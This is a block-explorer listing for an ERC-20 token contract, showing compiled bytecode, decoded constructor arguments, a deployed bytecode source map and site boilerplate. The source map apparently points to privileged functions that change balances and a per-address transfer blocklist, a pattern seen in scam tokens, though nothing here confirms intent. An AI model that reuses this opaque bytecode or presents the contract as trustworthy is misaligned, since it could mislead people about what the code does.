565b6000610e39838561114c565b905082610e46858361112a565b14610db15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d8565b6000610db183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f21565b6000610db183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d18565b60008183610f425760405162461bcd60e51b81526004016104d89190611088565b506000610d49848661112a565b80356001600160a01b0381168114610e1957600080fd5b80358015158114610e1957600080fd5b600060208284031215610f8857600080fd5b610db182610f4f565b60008060408385031215610fa457600080fd5b610fad83610f4f565b9150610fbb60208401610f4f565b90509250929050565b600080600060608486031215610fd957600080fd5b610fe284610f4f565b9250610ff060208501610f4f565b9150604084013590509250925092565b6000806040838503121561101357600080fd5b61101c83610f4f565b9150610fbb60208401610f66565b6000806040838503121561103d57600080fd5b61104683610f4f565b946020939093013593505050565b60006020828403121561106657600080fd5b610db182610f66565b60006020828403121561108157600080fd5b5035919050565b600060208083528351808285015260005b818110156110b557858101830151858201604001528201611099565b818111156110c7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611125576111256111bd565b500190565b60008261114757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611166576111666111bd565b500290565b60008282101561117d5761117d6111bd565b500390565b600181811c9082168061119657607f821691505b602082108114156111b757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207bdb549ac7f915e9b16a6b98c4b13c859d263f283f88421624bbd37ee270e56c64736f6c63430008070033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d5bd76bf81aec8986e31ec24432a58501b53ac91
-----Decoded View---------------
Arg [0] : amount (uint256): 0
Arg [1] : addr1 (address): 0xd5bd76Bf81AEc8986E31ec24432A58501B53ac91
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [1] : 000000000000000000000000d5bd76bf81aec8986e31ec24432a58501b53ac91
Deployed Bytecode Sourcemap
8991:6282:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12014:342;;;:::i;:::-;;10236:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10783:161;;;;;;:::i;:::-;;:::i;:::-;;;2696:14:1;;2689:22;2671:41;;2659:2;2644:18;10783:161:0;2531:187:1;13025:134:0;;;;;;:::i;:::-;;:::i;12362:95::-;12442:7;;12362:95;;;7985:25:1;;;7973:2;7958:18;12362:95:0;7839:177:1;11879:126:0;;;;;;:::i;:::-;;:::i;10954:455::-;;;;;;:::i;:::-;;:::i;14929:88::-;;;;;;:::i;:::-;;:::i;10422:83::-;10488:9;;10422:83;;10488:9;;;;8163:36:1;;8151:2;8136:18;10422:83:0;8021:184:1;10517:103:0;;;;;;:::i;:::-;;:::i;12465:119::-;;;;;;:::i;:::-;-1:-1:-1;;;;;12558:18:0;12531:7;12558:18;;;:9;:18;;;;;;;12465:119;8437:148;;;:::i;11741:129::-;;;;;;:::i;:::-;;:::i;8217:79::-;8255:7;8282:6;8217:79;;-1:-1:-1;;;;;8282:6:0;;;2180:51:1;;2168:2;2153:18;8217:79:0;2034:203:1;10327:87:0;;;:::i;13229:167::-;;;;;;:::i;:::-;;:::i;10632:143::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10740:18:0;;;10713:7;10740:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10632:143;12651:367;;;;;;:::i;:::-;;:::i;8740:244::-;;;;;;:::i;:::-;;:::i;12014:342::-;12078:12;;-1:-1:-1;;;;;12078:12:0;175:10;-1:-1:-1;;;;;12062:28:0;;12054:37;;;;;;175:10;12102:22;12127:23;;;:9;:23;;;;;;12181:7;;12171;;:17;;12181:7;12171:17;:::i;:::-;12161:7;:27;12225:7;;:24;;12235:14;;12225:24;:::i;:::-;175:10;12199:23;;;;:9;:23;;;;;;;;:50;;;;12340:7;;12265:83;;7985:25:1;;;175:10:0;;12199:23;;12265:83;;7958:18:1;12265:83:0;;;;;;;12043:313;12014:342::o;10236:83::-;10273:13;10306:5;10299:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10236:83;:::o;10783:161::-;10858:4;10875:39;175:10;10898:7;10907:6;10875:8;:39::i;:::-;-1:-1:-1;10932:4:0;10783:161;;;;;:::o;13025:134::-;13099:12;;-1:-1:-1;;;;;13099:12:0;175:10;-1:-1:-1;;;;;13083:28:0;;13075:37;;;;;;-1:-1:-1;;;;;13123:20:0;13146:5;13123:20;;;:11;:20;;;;;:28;;-1:-1:-1;;13123:28:0;;;13025:134::o;11879:126::-;11957:12;;-1:-1:-1;;;;;11957:12:0;175:10;-1:-1:-1;;;;;11941:28:0;;11933:37;;;;;;11981:7;:16;11879:126::o;10954:455::-;-1:-1:-1;;;;;11077:19:0;;11052:4;11077:19;;;:11;:19;;;;;;;;:28;11069:57;;;;-1:-1:-1;;;11069:57:0;;7291:2:1;11069:57:0;;;7273:21:1;7330:2;7310:18;;;7303:30;-1:-1:-1;;;7349:18:1;;;7342:46;7405:18;;11069:57:0;;;;;;;;;-1:-1:-1;;;;;11145:22:0;;;;;;:11;:22;;;;;;;;:31;11137:63;;;;-1:-1:-1;;;11137:63:0;;5097:2:1;11137:63:0;;;5079:21:1;5136:2;5116:18;;;5109:30;-1:-1:-1;;;5155:18:1;;;5148:49;5214:18;;11137:63:0;4895:343:1;11137:63:0;11211:36;11221:6;11229:9;11240:6;11211:9;:36::i;:::-;11258:121;11267:6;175:10;11289:89;11327:6;11289:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11289:19:0;;;;;;:11;:19;;;;;;;;175:10;11289:33;;;;;;;;;;:37;:89::i;:::-;11258:8;:121::i;:::-;-1:-1:-1;11397:4:0;10954:455;;;;;:::o;14929:88::-;8348:6;;-1:-1:-1;;;;;8348:6:0;175:10;8348:22;8340:67;;;;-1:-1:-1;;;8340:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14989:12:0::1;15004:5;14989:12:::0;;;:4:::1;:12;::::0;;;;:20;;-1:-1:-1;;14989:20:0::1;::::0;;14929:88::o;10517:103::-;8348:6;;-1:-1:-1;;;;;8348:6:0;175:10;8348:22;8340:67;;;;-1:-1:-1;;;8340:67:0;;;;;;;:::i;:::-;10589:15:::1;:23:::0;;;::::1;;;;-1:-1:-1::0;;10589:23:0;;::::1;::::0;;;::::1;::::0;;10517:103::o;8437:148::-;8348:6;;-1:-1:-1;;;;;8348:6:0;175:10;8348:22;8340:67;;;;-1:-1:-1;;;8340:67:0;;;;;;;:::i;:::-;8544:1:::1;8528:6:::0;;8507:40:::1;::::0;-1:-1:-1;;;;;8528:6:0;;::::1;::::0;8507:40:::1;::::0;8544:1;;8507:40:::1;8575:1;8558:19:::0;;-1:-1:-1;;;;;;8558:19:0::1;::::0;;8437:148::o;11741:129::-;11819:12;;-1:-1:-1;;;;;11819:12:0;175:10;-1:-1:-1;;;;;11803:28:0;;11795:37;;;;;;11843:10;:19;11741:129::o;10327:87::-;10366:13;10399:7;10392:14;;;;;:::i;13229:167::-;13307:4;13324:42;175:10;13348:9;13359:6;13324:9;:42::i;12651:367::-;12739:12;;-1:-1:-1;;;;;12739:12:0;175:10;-1:-1:-1;;;;;12723:28:0;;12715:37;;;;;;12761:6;12757:198;;;12820:15;12793:24;12820:15;12811:6;12793:24;:::i;:::-;:42;12784:57;;;;-1:-1:-1;;;12784:57:0;;5445:2:1;12784:57:0;;;5427:21:1;5484:1;5464:18;;;5457:29;-1:-1:-1;;;5502:18:1;;;5495:31;5543:18;;12784:57:0;5243:324:1;12784:57:0;-1:-1:-1;;;;;12856:20:0;;;;;;:11;:20;;;;;:27;;-1:-1:-1;;12856:27:0;12879:4;12856:27;;;12757:198;;;-1:-1:-1;;;;;12923:20:0;;;;;;:11;:20;;;;;12916:27;;-1:-1:-1;;12916:27:0;;;12757:198;12969:39;;;-1:-1:-1;;;;;2428:32:1;;2410:51;;2504:14;;2497:22;2492:2;2477:18;;2470:50;12969:39:0;;2383:18:1;12969:39:0;;;;;;;12651:367;;:::o;8740:244::-;8348:6;;-1:-1:-1;;;;;8348:6:0;175:10;8348:22;8340:67;;;;-1:-1:-1;;;8340:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8829:22:0;::::1;8821:73;;;::::0;-1:-1:-1;;;8821:73:0;;3931:2:1;8821:73:0::1;::::0;::::1;3913:21:1::0;3970:2;3950:18;;;3943:30;4009:34;3989:18;;;3982:62;-1:-1:-1;;;4060:18:1;;;4053:36;4106:19;;8821:73:0::1;3729:402:1::0;8821:73:0::1;8931:6;::::0;;8910:38:::1;::::0;-1:-1:-1;;;;;8910:38:0;;::::1;::::0;8931:6;::::1;::::0;8910:38:::1;::::0;::::1;8959:6;:17:::0;;-1:-1:-1;;;;;;8959:17:0::1;-1:-1:-1::0;;;;;8959:17:0;;;::::1;::::0;;;::::1;::::0;;8740:244::o;14582:337::-;-1:-1:-1;;;;;14675:19:0;;14667:68;;;;-1:-1:-1;;;14667:68:0;;7636:2:1;14667:68:0;;;7618:21:1;7675:2;7655:18;;;7648:30;7714:34;7694:18;;;7687:62;-1:-1:-1;;;7765:18:1;;;7758:34;7809:19;;14667:68:0;7434:400:1;14667:68:0;-1:-1:-1;;;;;14754:21:0;;14746:68;;;;-1:-1:-1;;;14746:68:0;;4338:2:1;14746:68:0;;;4320:21:1;4377:2;4357:18;;;4350:30;4416:34;4396:18;;;4389:62;-1:-1:-1;;;4467:18:1;;;4460:32;4509:19;;14746:68:0;4136:398:1;14746:68:0;-1:-1:-1;;;;;14827:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14879:32;;7985:25:1;;;14879:32:0;;7958:18:1;14879:32:0;;;;;;;;14582:337;;;:::o;13408:1162::-;-1:-1:-1;;;;;13506:20:0;;13498:70;;;;-1:-1:-1;;;13498:70:0;;6885:2:1;13498:70:0;;;6867:21:1;6924:2;6904:18;;;6897:30;6963:34;6943:18;;;6936:62;-1:-1:-1;;;7014:18:1;;;7007:35;7059:19;;13498:70:0;6683:401:1;13498:70:0;-1:-1:-1;;;;;13587:23:0;;13579:71;;;;-1:-1:-1;;;13579:71:0;;3527:2:1;13579:71:0;;;3509:21:1;3566:2;3546:18;;;3539:30;3605:34;3585:18;;;3578:62;-1:-1:-1;;;3656:18:1;;;3649:33;3699:19;;13579:71:0;3325:399:1;13579:71:0;8255:7;8282:6;-1:-1:-1;;;;;13675:17:0;;;8282:6;;13675:17;13671:892;;;13729:71;13751:6;13729:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13729:17:0;;;;;;:9;:17;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;13709:17:0;;;;;;;:9;:17;;;;;;:91;;;;13838:20;;;;;;;:32;;13863:6;13838:24;:32::i;:::-;-1:-1:-1;;;;;13815:20:0;;;;;;;:9;:20;;;;;;;:55;;;;13904:35;;;;;;;;;;13932:6;7985:25:1;;7973:2;7958:18;;7839:177;13671:892:0;13975:15;13983:6;13975:7;:15::i;:::-;13971:104;;;14028:7;;14019:6;:16;14011:48;;;;-1:-1:-1;;;14011:48:0;;5774:2:1;14011:48:0;;;5756:21:1;5813:2;5793:18;;;5786:30;-1:-1:-1;;;5832:18:1;;;5825:49;5891:18;;14011:48:0;5572:343:1;14011:48:0;14103:20;14126:22;14144:3;14126:13;:6;14137:1;14126:10;:13::i;:::-;:17;;:22::i;:::-;14103:45;-1:-1:-1;14163:18:0;14184:24;:6;14103:45;14184:10;:24::i;:::-;14163:45;;14253:71;14275:6;14253:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14253:17:0;;;;;;:9;:17;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;14233:17:0;;;;;;;:9;:17;;;;;;:91;;;;14367:4;;;;;;;;14357:15;;;;:33;;14377:12;14357:19;:33::i;:::-;14349:4;;-1:-1:-1;;;;;14349:4:0;;;;;;14339:15;;;;:9;:15;;;;;;:51;;;;14428:20;;;;;;;:36;;14453:10;14428:24;:36::i;:::-;-1:-1:-1;;;;;14405:20:0;;;;;;;:9;:20;;;;;;;:59;;;;14512:39;;;;;;;;;;14540:10;7985:25:1;;7973:2;7958:18;;7839:177;14512:39:0;;;;;;;;13956:607;;13408:1162;;;:::o;6867:224::-;6987:7;7023:12;7015:6;;;;7007:29;;;;-1:-1:-1;;;7007:29:0;;;;;;;;:::i;:::-;-1:-1:-1;7047:9:0;7059:5;7063:1;7059;:5;:::i;:::-;7047:17;6867:224;-1:-1:-1;;;;;6867:224:0:o;6536:179::-;6594:7;;6626:5;6630:1;6626;:5;:::i;:::-;6614:17;;6655:1;6650;:6;;6642:46;;;;-1:-1:-1;;;6642:46:0;;4741:2:1;6642:46:0;;;4723:21:1;4780:2;4760:18;;;4753:30;4819:29;4799:18;;;4792:57;4866:18;;6642:46:0;4539:351:1;6642:46:0;6706:1;6536:179;-1:-1:-1;;;6536:179:0:o;15032:230::-;15087:4;15128:10;;15107:17;15117:6;-1:-1:-1;;;;;12558:18:0;12531:7;12558:18;;;:9;:18;;;;;;;12465:119;15107:17;:31;;:63;;;;-1:-1:-1;15163:7:0;;-1:-1:-1;;;;;12558:18:0;;12531:7;12558:18;;;:9;:18;;;;;;15142:28;;15107:63;15103:152;;;-1:-1:-1;15194:4:0;;15032:230;-1:-1:-1;15032:230:0:o;15103:152::-;-1:-1:-1;15238:5:0;;15032:230;-1:-1:-1;15032:230:0:o;15103:152::-;15032:230;;;:::o;7099:246::-;7157:7;7181:6;7177:47;;-1:-1:-1;7211:1:0;7204:8;;7177:47;7234:9;7246:5;7250:1;7246;:5;:::i;:::-;7234:17;-1:-1:-1;7279:1:0;7270:5;7274:1;7234:17;7270:5;:::i;:::-;:10;7262:56;;;;-1:-1:-1;;;7262:56:0;;6122:2:1;7262:56:0;;;6104:21:1;6161:2;6141:18;;;6134:30;6200:34;6180:18;;;6173:62;-1:-1:-1;;;6251:18:1;;;6244:31;6292:19;;7262:56:0;5920:397:1;7353:132:0;7411:7;7438:39;7442:1;7445;7438:39;;;;;;;;;;;;;;;;;:3;:39::i;6723:136::-;6781:7;6808:43;6812:1;6815;6808:43;;;;;;;;;;;;;;;;;:3;:43::i;7493:223::-;7613:7;7648:12;7641:5;7633:28;;;;-1:-1:-1;;;7633:28:0;;;;;;;;:::i;:::-;-1:-1:-1;7672:9:0;7684:5;7688:1;7684;:5;:::i;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;192:160;257:20;;313:13;;306:21;296:32;;286:60;;342:1;339;332:12;357:186;416:6;469:2;457:9;448:7;444:23;440:32;437:52;;;485:1;482;475:12;437:52;508:29;527:9;508:29;:::i;548:260::-;616:6;624;677:2;665:9;656:7;652:23;648:32;645:52;;;693:1;690;683:12;645:52;716:29;735:9;716:29;:::i;:::-;706:39;;764:38;798:2;787:9;783:18;764:38;:::i;:::-;754:48;;548:260;;;;;:::o;813:328::-;890:6;898;906;959:2;947:9;938:7;934:23;930:32;927:52;;;975:1;972;965:12;927:52;998:29;1017:9;998:29;:::i;:::-;988:39;;1046:38;1080:2;1069:9;1065:18;1046:38;:::i;:::-;1036:48;;1131:2;1120:9;1116:18;1103:32;1093:42;;813:328;;;;;:::o;1146:254::-;1211:6;1219;1272:2;1260:9;1251:7;1247:23;1243:32;1240:52;;;1288:1;1285;1278:12;1240:52;1311:29;1330:9;1311:29;:::i;:::-;1301:39;;1359:35;1390:2;1379:9;1375:18;1359:35;:::i;1405:254::-;1473:6;1481;1534:2;1522:9;1513:7;1509:23;1505:32;1502:52;;;1550:1;1547;1540:12;1502:52;1573:29;1592:9;1573:29;:::i;:::-;1563:39;1649:2;1634:18;;;;1621:32;;-1:-1:-1;;;1405:254:1:o;1664:180::-;1720:6;1773:2;1761:9;1752:7;1748:23;1744:32;1741:52;;;1789:1;1786;1779:12;1741:52;1812:26;1828:9;1812:26;:::i;1849:180::-;1908:6;1961:2;1949:9;1940:7;1936:23;1932:32;1929:52;;;1977:1;1974;1967:12;1929:52;-1:-1:-1;2000:23:1;;1849:180;-1:-1:-1;1849:180:1:o;2723:597::-;2835:4;2864:2;2893;2882:9;2875:21;2925:6;2919:13;2968:6;2963:2;2952:9;2948:18;2941:34;2993:1;3003:140;3017:6;3014:1;3011:13;3003:140;;;3112:14;;;3108:23;;3102:30;3078:17;;;3097:2;3074:26;3067:66;3032:10;;3003:140;;;3161:6;3158:1;3155:13;3152:91;;;3231:1;3226:2;3217:6;3206:9;3202:22;3198:31;3191:42;3152:91;-1:-1:-1;3304:2:1;3283:15;-1:-1:-1;;3279:29:1;3264:45;;;;3311:2;3260:54;;2723:597;-1:-1:-1;;;2723:597:1:o;6322:356::-;6524:2;6506:21;;;6543:18;;;6536:30;6602:34;6597:2;6582:18;;6575:62;6669:2;6654:18;;6322:356::o;8210:128::-;8250:3;8281:1;8277:6;8274:1;8271:13;8268:39;;;8287:18;;:::i;:::-;-1:-1:-1;8323:9:1;;8210:128::o;8343:217::-;8383:1;8409;8399:132;;8453:10;8448:3;8444:20;8441:1;8434:31;8488:4;8485:1;8478:15;8516:4;8513:1;8506:15;8399:132;-1:-1:-1;8545:9:1;;8343:217::o;8565:168::-;8605:7;8671:1;8667;8663:6;8659:14;8656:1;8653:21;8648:1;8641:9;8634:17;8630:45;8627:71;;;8678:18;;:::i;:::-;-1:-1:-1;8718:9:1;;8565:168::o;8738:125::-;8778:4;8806:1;8803;8800:8;8797:34;;;8811:18;;:::i;:::-;-1:-1:-1;8848:9:1;;8738:125::o;8868:380::-;8947:1;8943:12;;;;8990;;;9011:61;;9065:4;9057:6;9053:17;9043:27;;9011:61;9118:2;9110:6;9107:14;9087:18;9084:38;9081:161;;;9164:10;9159:3;9155:20;9152:1;9145:31;9199:4;9196:1;9189:15;9227:4;9224:1;9217:15;9081:161;;8868:380;;;:::o;9253:127::-;9314:10;9309:3;9305:20;9302:1;9295:31;9345:4;9342:1;9335:15;9369:4;9366:1;9359:15
Swarm Source
ipfs://7bdb549ac7f915e9b16a6b98c4b13c859d263f283f88421624bbd37ee270e56c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.